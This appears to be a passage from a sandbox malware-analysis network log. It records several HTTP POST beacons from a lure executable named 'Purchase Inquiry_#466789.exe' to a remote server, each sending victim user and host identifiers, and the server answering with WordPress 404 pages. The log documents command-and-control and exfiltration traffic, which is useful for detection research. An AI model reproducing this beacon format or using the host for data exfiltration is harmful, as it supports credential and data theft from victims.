May 27, 2024 08:32:09.995378017 CEST	1236	IN	Data Raw: 6d 69 6e 6f 75 73 2d 76 69 76 69 64 2d 6f 72 61 6e 67 65 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 75 Data Ascii: minous-vivid-orange-background-color{background-color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-background-color{background-color: var(--wp--preset--color--luminous-vivid-amber) !important;}.has-lig

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49741	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:32:10.321376085 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:32:10.326277971 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:32:12.444559097 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:32:10 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:32:12.444612026 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:32:12.444663048 CEST	1236	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:32:12.444695950 CEST	1236	IN	Data Raw: 75 70 70 6f 72 74 73 5b 74 5d 3d 65 5b 74 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 2c 22 66 6c 61 67 22 21 Data Ascii: upports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.support
May 27, 2024 08:32:12.444730043 CEST	896	IN	Data Raw: 72 3a 23 33 32 33 37 33 63 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 39 39 39 39 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 63 61 6c 63 28 2e Data Ascii: r:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}</style><style id='global-styles-i
May 27, 2024 08:32:12.444762945 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:32:12.444794893 CEST	224	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--w
May 27, 2024 08:32:12.444823980 CEST	1236	IN	Data Raw: 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6d 65 64 69 75 6d 3a 20 32 30 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6c 61 72 67 65 3a 20 33 36 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 Data Ascii: p--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5
May 27, 2024 08:32:12.444854021 CEST	224	IN	Data Raw: 2d 2d 62 6c 61 63 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 63 Data Ascii: --black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset-
May 27, 2024 08:32:12.444886923 CEST	1236	IN	Data Raw: 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 76 69 76 69 64 2d 72 65 64 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 Data Ascii: -color--pale-pink) !important;}.has-vivid-red-color{color: var(--wp--preset--color--vivid-red) !important;}.has-luminous-vivid-orange-color{color: var(--wp--preset--color--luminous-vivid-orange) !important;}.has-luminous-vivid-amber-color{colo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49742	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:32:14.993057966 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:32:14.999521017 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:32:17.230618954 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:32:15 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:32:17.230633020 CEST	224	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessio
May 27, 2024 08:32:17.230647087 CEST	1236	IN	Data Raw: 6e 53 74 6f 72 61 67 65 2e 73 65 74 49 74 65 6d 28 6f 2c 4a 53 4f 4e 2e 73 74 72 69 6e 67 69 66 79 28 74 29 29 7d 63 61 74 63 68 28 65 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 2c 74 2c 6e 29 7b 65 2e 63 6c 65 61 72 52 65 63 74 28 30 2c 30 Data Ascii: nStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.wid
May 27, 2024 08:32:17.230663061 CEST	1236	IN	Data Raw: 22 73 63 72 69 70 74 22 29 3b 74 2e 73 72 63 3d 65 2c 74 2e 64 65 66 65 72 3d 21 30 2c 69 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 74 29 7d 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 50 72 6f 6d 69 73 65 26 26 28 6f Data Ascii: "script");t.src=e,t.defer=!0,i.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",s=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){i.addEventListener("DOMContentLoaded",
May 27, 2024 08:32:17.230678082 CEST	1236	IN	Data Raw: 65 70 74 46 6c 61 67 26 26 21 6e 2e 73 75 70 70 6f 72 74 73 2e 66 6c 61 67 2c 6e 2e 44 4f 4d 52 65 61 64 79 3d 21 31 2c 6e 2e 72 65 61 64 79 43 61 6c 6c 62 61 63 6b 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 2e 44 4f 4d 52 65 61 64 79 3d 21 30 7d 7d Data Ascii: eptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything\|\|(n.readyCallback(),(e=n.source\|\|{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&
May 27, 2024 08:32:17.230691910 CEST	672	IN	Data Raw: 69 64 3d 27 67 6c 6f 62 61 6c 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 3e 0a 62 6f 64 79 7b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 62 6c 61 63 6b 3a 20 23 30 Data Ascii: id='global-styles-inline-css' type='text/css'>body{--wp--preset--color--black: #000000;--wp--preset--color--cyan-bluish-gray: #abb8c3;--wp--preset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red:
May 27, 2024 08:32:17.230705976 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:32:17.230731964 CEST	224	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--w
May 27, 2024 08:32:17.230743885 CEST	1236	IN	Data Raw: 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6d 65 64 69 75 6d 3a 20 32 30 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 66 6f 6e 74 2d 73 69 7a 65 2d 2d 6c 61 72 67 65 3a 20 33 36 70 78 3b 2d 2d 77 70 2d 2d 70 72 65 73 Data Ascii: p--preset--font-size--medium: 20px;--wp--preset--font-size--large: 36px;--wp--preset--font-size--x-large: 42px;--wp--preset--spacing--20: 0.44rem;--wp--preset--spacing--30: 0.67rem;--wp--preset--spacing--40: 1rem;--wp--preset--spacing--50: 1.5
May 27, 2024 08:32:17.230765104 CEST	224	IN	Data Raw: 2d 2d 62 6c 61 63 6b 29 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 2e 68 61 73 2d 63 79 61 6e 2d 62 6c 75 69 73 68 2d 67 72 61 79 2d 63 6f 6c 6f 72 7b 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 63 Data Ascii: --black) !important;}.has-cyan-bluish-gray-color{color: var(--wp--preset--color--cyan-bluish-gray) !important;}.has-white-color{color: var(--wp--preset--color--white) !important;}.has-pale-pink-color{color: var(--wp--preset-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49745	45.61.137.215	80	7244	C:\Users\user\Desktop\Purchase Inquiry_#466789.exe

Timestamp	Bytes transferred	Direction	Data
May 27, 2024 08:32:17.391921043 CEST	244	OUT	POST /index.php/t?id=090 HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: 45.61.137.215 Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: A316C5D8 Content-Length: 149 Connection: close
May 27, 2024 08:32:17.397069931 CEST	149	OUT	Data Raw: 12 00 28 00 00 00 07 00 00 00 63 6b 61 76 2e 72 75 01 00 0a 00 00 00 6a 00 6f 00 6e 00 65 00 73 00 01 00 0c 00 00 00 36 00 37 00 35 00 30 00 35 00 32 00 01 00 10 00 00 00 4a 00 4f 00 4e 00 45 00 53 00 2d 00 50 00 43 00 00 05 00 00 00 04 00 00 01 Data Ascii: (ckav.rujones675052JONES-PC0FDD42EE188E931437F4FBE2C
May 27, 2024 08:32:19.619703054 CEST	1236	IN	HTTP/1.0 404 Not Found Date: Mon, 27 May 2024 06:32:17 GMT Server: Apache/2.4.52 (Ubuntu) Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <http://45.61.137.215/index.php/wp-json/>; rel="https://api.w.org/" Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0d 0a 09 3c 68 65 61 64 3e 0d 0a 09 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 3e 0d 0a 09 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 3e 0d 0a 09 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 3e 0d 0a 09 09 0d 0a 09 09 3c 74 69 74 6c 65 3e 50 61 67 65 20 6e 6f 74 20 66 6f 75 6e 64 20 26 23 38 32 31 31 3b 20 73 65 70 61 72 61 74 65 64 20 70 61 70 65 72 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6d 61 78 2d 69 6d 61 67 65 2d 70 72 65 76 69 65 77 3a 6c 61 72 67 65 27 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 27 64 6e 73 2d 70 72 65 66 65 74 [TRUNCATED] Data Ascii: <!DOCTYPE html><html lang="en-US"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1"><link rel="profile" href="https://gmpg.org/xfn/11"><title>Page not found – separated paper</title><meta name='robots' content='max-image-preview:large' /><link rel='dns-prefetch' href='//fonts.googleapis.com' /><link rel="alternate" type="application/rss+xml" title="separated paper » Feed" href="http://45.61.137.215/index.php/feed/" /><link rel="alternate" type="application/rss+xml" title="separated paper » Comments Feed" href="http://45.61.137.215/index.php/comments/feed/" /><script type="text/javascript">/* <![CDATA[ */window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg","source":{"concate
May 27, 2024 08:32:19.619755030 CEST	1236	IN	Data Raw: 6d 6f 6a 69 22 3a 22 68 74 74 70 3a 5c 2f 5c 2f 34 35 2e 36 31 2e 31 33 37 2e 32 31 35 5c 2f 77 70 2d 69 6e 63 6c 75 64 65 73 5c 2f 6a 73 5c 2f 77 70 2d 65 6d 6f 6a 69 2d 72 65 6c 65 61 73 65 2e 6d 69 6e 2e 6a 73 3f 76 65 72 3d 36 2e 35 2e 33 22 Data Ascii: moji":"http:\/\/45.61.137.215\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.5.3"}};/! This file is auto-generated /!function(i,n){var o,s,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,
May 27, 2024 08:32:19.619787931 CEST	1236	IN	Data Raw: 65 6e 43 61 6e 76 61 73 28 33 30 30 2c 31 35 30 29 3a 69 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 63 61 6e 76 61 73 22 29 2c 61 3d 72 2e 67 65 74 43 6f 6e 74 65 78 74 28 22 32 64 22 2c 7b 77 69 6c 6c 52 65 61 64 46 72 65 71 75 65 6e 74 6c Data Ascii: enCanvas(300,150):i.createElement("canvas"),a=r.getContext("2d",{willReadFrequently:!0}),o=(a.textBaseline="top",a.font="600 32px Arial",{});return e.forEach(function(e){o[e]=t(a,e,n)}),o}function t(e){var t=i.createElement("script");t.src=e,t
May 27, 2024 08:32:19.619818926 CEST	1236	IN	Data Raw: 75 70 70 6f 72 74 73 5b 74 5d 3d 65 5b 74 5d 2c 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 3d 6e 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 26 26 6e 2e 73 75 70 70 6f 72 74 73 5b 74 5d 2c 22 66 6c 61 67 22 21 Data Ascii: upports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.support
May 27, 2024 08:32:19.619853020 CEST	896	IN	Data Raw: 72 3a 23 33 32 33 37 33 63 3b 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 39 39 39 39 70 78 3b 62 6f 78 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 3a 63 61 6c 63 28 2e Data Ascii: r:#32373c;border-radius:9999px;box-shadow:none;text-decoration:none;padding:calc(.667em + 2px) calc(1.333em + 2px);font-size:1.125em}.wp-block-file__button{background:#32373c;color:#fff;text-decoration:none}</style><style id='global-styles-i
May 27, 2024 08:32:19.620021105 CEST	1236	IN	Data Raw: 2c 32 32 37 2c 31 29 20 30 25 2c 72 67 62 28 31 35 35 2c 38 31 2c 32 32 34 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 2d 74 6f 2d 76 69 76 69 64 Data Ascii: ,227,1) 0%,rgb(155,81,224) 100%);--wp--preset--gradient--light-green-cyan-to-vivid-green-cyan: linear-gradient(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradie
May 27, 2024 08:32:19.620078087 CEST	1236	IN	Data Raw: 64 69 65 6e 74 2d 2d 65 6c 65 63 74 72 69 63 2d 67 72 61 73 73 3a 20 6c 69 6e 65 61 72 2d 67 72 61 64 69 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 32 30 32 2c 32 34 38 2c 31 32 38 29 20 30 25 2c 72 67 62 28 31 31 33 2c 32 30 36 2c 31 32 36 29 Data Ascii: dient--electric-grass: linear-gradient(135deg,rgb(202,248,128) 0%,rgb(113,206,126) 100%);--wp--preset--gradient--midnight: linear-gradient(135deg,rgb(2,3,129) 0%,rgb(40,116,252) 100%);--wp--preset--font-size--small: 13px;--wp--preset--font-siz
May 27, 2024 08:32:19.620126009 CEST	1236	IN	Data Raw: 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 63 6f 6c 75 6d 6e 73 2e 69 73 2d 6c 61 79 6f 75 74 2d 67 72 69 64 29 7b 67 61 70 3a 20 32 65 6d 3b 7d 3a 77 68 65 72 65 28 2e 77 70 2d 62 6c 6f 63 6b 2d 70 6f 73 74 2d 74 65 6d Data Ascii: 2em;}:where(.wp-block-columns.is-layout-grid){gap: 2em;}:where(.wp-block-post-template.is-layout-flex){gap: 1.25em;}:where(.wp-block-post-template.is-layout-grid){gap: 1.25em;}.has-black-color{color: var(--wp--preset--color--black) !important
